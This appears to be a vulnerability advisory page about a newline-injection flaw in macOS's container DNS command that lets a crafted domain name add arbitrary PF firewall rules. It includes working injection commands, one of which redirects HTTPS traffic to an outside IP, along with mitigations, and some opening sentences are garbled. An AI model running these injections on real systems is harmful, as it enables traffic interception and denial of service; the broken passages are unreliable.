Listen to this Post
The vulnerability exists in the `container system dns create –localhost` command (version ≤0.12.2). When `–localhost
`rdr inet from any to
The `domainName` argument is placed as a comment after the “ character. No sanitization is applied to `domainName` – the `isValidDomainName()` function (Parser.swift:892) exists but is never called in the `DNSCreate` code path.
If an attacker includes a newline character (\n) inside domainName, the comment context is broken. Everything after the newline is written as a new line in the anchor file, interpreted as an independent PF directive. Example:
`sudo container system dns create –localhost 127.0.0.1 $’foo.local\nrdr inet from any to 1.2.3.4 -> 5.6.7.8’`
The legitimate rule writes `rdr inet from any to 127.0.0.1 -> 127.0.0.1 foo.local` (note the from IP is also user-chosen but must be a valid IP). The injected newline adds `rdr inet from any to 1.2.3.4 -> 5.6.7.8` as a separate line.
When `pfctl -f` reloads the configuration, the kernel loads both rules. Normal usage without `–localhost` writes no PF rule. With `–localhost` it writes exactly one `rdr` rule hardcoded to destination 127.0.0.1. Injection allows arbitrary rule types (pass, block, nat), arbitrary source/destination IPs/ports, and arbitrary protocols. The cleanup function `removeRedirectRule()` cannot delete injected standalone rules because it looks for the exact comment `
Primary attack vector is sudo delegation bypass: an administrator grants `sudo container system dns create ` to a restricted user, expecting only localhost redirects. The attacker supplies any valid IP to `–localhost` (e.g., 127.0.0.1) and embeds a malicious rule in domainName. The capability gap is total – from no PF writes (no --localhost) or constrained `rdr` to localhost (with --localhost), to arbitrary kernel packet filter rules. Additional scenarios: CI/CD pipelines using user-supplied container labels as domain names, or social engineering via documentation.
dailycve form:
Platform: macOS
Version: <=0.12.2
Vulnerability: Newline PF injection
Severity: Critical
Date: 2026-05-07
Prediction: Patch within 30 days
What Undercode Say:
Check vulnerable version container --version if <=0.12.2 Simulate injection (requires sudo privilege for container command) sudo container system dns create --localhost 127.0.0.1 \ $'test.local\npass inet proto tcp from any to 10.0.0.1 port 80' Verify injected rule in anchor file cat /etc/pf.anchors/com.apple.container Load current PF rules to see injected entry sudo pfctl -a com.apple.container -s rules Clean up – injected rules persist even after domain deletion sudo container system dns delete test.local only removes the legitimate comment line
Exploit:
Attacker needs sudo execution of `container system dns create` with --localhost. Provide any valid IP (e.g., `127.0.0.1` or 192.0.2.1) and a domain name containing newline + arbitrary PF rule. No other privileges required. Example exploit command:
sudo container system dns create --localhost 127.0.0.1 \ $'evil.com\nblock inet proto tcp from any to 8.8.8.8'
Result: `8.8.8.8` is blocked system-wide after `pfctl -f` (triggered automatically on rule write). For redirection to external attacker IP:
sudo container system dns create --localhost 127.0.0.1 \ $'redirect.net\nrdr inet proto tcp from 192.168.1.0/24 to any port 443 -> 203.0.113.1 port 8443'
Protection from this CVE:
- Apply patch from Apple (update container to >0.12.2) once released.
- Remove sudo delegation for `container system dns create` – grant no user the ability to run this command with elevated privileges.
- Use sudo command whitelisting with proper argument restrictions (e.g., disallow `–localhost` entirely or validate domain name for newlines via sudoers `Cmnd_Alias` and `!` operators).
- Audit existing `/etc/pf.anchors/com.apple.container` for injected lines – look for any line not starting with `rdr inet from any to` or containing
-> 127.0.0.1. - Monitor pf anchor reloads: `sudo pfctl -a com.apple.container -s rules` periodically.
Impact:
- Arbitrary kernel firewall rules loaded into PF, bypassing original sudo constraints.
- Traffic redirection to any external IP (not just 127.0.0.1) – e.g., intercept HTTPS traffic to attacker-controlled server.
- Denial of service by injecting `block` rules on critical endpoints.
- Persistence – injected rules remain after legitimate domain deletion; `removeRedirectRule()` cannot match them.
- Privilege escalation from restricted sudo command to full packet filter control, enabling man-in-the-middle, data exfiltration, or service disruption.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
